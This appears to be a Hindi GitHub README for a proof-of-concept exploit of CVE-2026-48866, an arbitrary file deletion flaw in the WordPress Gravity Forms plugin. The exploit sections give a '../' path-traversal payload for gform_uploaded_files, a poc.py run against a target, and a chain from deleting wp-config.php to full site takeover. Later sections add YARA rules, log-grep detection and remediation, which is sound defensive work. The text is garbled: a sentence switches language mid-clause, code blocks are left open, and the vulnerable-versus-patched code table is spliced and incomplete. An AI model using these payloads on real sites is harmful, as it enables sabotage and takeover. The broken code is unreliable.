<h3 align="center">
  <code>gform_uploaded_files</code> URLs में <code>../</code> स्वीकार करता है। एडमिन का डिलीट क्लिक मनमाना फ़ाइल विलोपन ट्रिगर करता है।
</h3>

<p align="center">
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
  <a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
  <a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">पैच किया गया कमिट</a> •
  <a href="https://github.com/codewurker/gravityforms">स्रोत मिरर</a>
</p>

---

## विषय सूची

<table>
<tr>
<td width="50%">

**एक्सप्लॉइट**
- [त्वरित शुरुआत](#quick-start)
- [यह कैसे काम करता है](#how-it-works)
- [प्रभाव](#impact)
- [उपयोग](#usage)

</td>
<td width="50%">

**रक्षा**
- [तकनीकी गहराई](#technical-deep-dive)
- [पहचान](#detection)
- [सुधार](#remediation)
- [संदर्भ](#references)

</td>
</tr>
</table>

---

## त्वरित शुरुआत```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘

---

## यह कैसे काम करता है

### आक्रमण प्रवाह```
  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

No check exists between `str_replace()` और `unlink()` के बीच कोई जाँच नहीं है। बग उस अंतराल में रहता है।

---

## प्रभाव

<table>
<tr>
<th>लक्ष्य</th>
<th>प्रभाव</th>
<th>गंभीरता</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>साइट ऑफ़लाइन हो जाती है. WordPress इंस्टॉलर विज़ार्ड दिखाता है. हमलावर DB को अपने सर्वर पर इंगित करता है ताकि पूरी साइट पर कब्ज़ा कर सके।</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>URL पुनर्लेखन और सुरक्षा नियम गायब। निर्देशिका सूचियाँ खुली।</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>Wordfence WAF चलना बंद कर देता है। हमलावर और साइट के बीच कोई फ़ायरवॉल नहीं।</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>कोई प्लगइन लोड नहीं होता। साइट काम करना बंद कर देती है।</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>व्यवस्थापक लॉक आउट हो गया। फ़ाइलें पुनर्स्थापित करने तक कोई लॉग इन नहीं कर सकता।</td>
<td align="center">MEDIUM</td>
</tr>
</table>

> *"इस तरह की कमज़ोरियों का उपयोग बड़े पैमाने पर शोषण अभियानों में किया जाता है जो एक साथ हज़ारों वेबसाइटों को निशाना बनाते हैं।"*
> [Patchstack Advisory, 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)

### विलोपन → RCE एस्केलेशन चेन```
  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

### उदाहरण परिदृश्य

<details>
<summary><b>परिदृश्य 1: साइलेंट इंजेक्शन (कोई एडमिन क्रेडेंशियल आवश्यक नहीं)</b></summary>```bash
python3 poc.py \
  --target https://test.com \
  --form-id 1 \
  --field-id 3

CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target:     https://test.com
Form ID:    1
Field ID:   3
File:       wp-config.php
Depth:      3
Trigger:    True

---

## तकनीकी गहराई

### Call Stack: Injection Path```
wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

### असुरक्षित बनाम पैच किया गया

<table>
<tr>
<th width="50%">असुरक्षित (≤ 2.10.0.1)</th>
<th width="50%">पैच किया गया (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
    $url, $entry_id
);
$file_path = apply_filters(
    'gform_file_path_pre_delete_file',
    $file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
    $result = unlink( $file_path );
}

foreach ( $parts as $part ) {
    if ( '.' == $part ) { continue; }
    if ( '..' == $part ) {
        array_pop( $absolutes );
    } else {
        $absolutes[] = $part;
    }
}

$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );

**`GFCommon::is_file_in_uploads()`** हल किए गए पथ की तुलना अपलोड रूट से करता है:```php
public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

### होस्ट: YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}

| नियम | आपने पाया |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | HTTP लॉग या POST बॉडी में एक्सप्लॉइट पेलोड |
| `CVE_2026_48866_Vulnerable_Plugin` | बिना फिक्स के Gravity Forms इंस्टॉलेशन |
| `CVE_2026_48866_Patched_Plugin` | फिक्स के साथ Gravity Forms इंस्टॉलेशन |

### लॉग विश्लेषण```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

| प्राथमिकता | कार्रवाई | कमांड |
|---|---|---|
| P0 | Gravity Forms को अपडेट करें | WordPress एडमिन → प्लगइन्स → अपडेट |
| P1 | पैच सत्यापित करें | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | लॉग ऑडिट करें | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | WAF नियम तैनात करें | [पहचान](#detection) अनुभाग देखें |

---

## अस्वीकरण```
┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘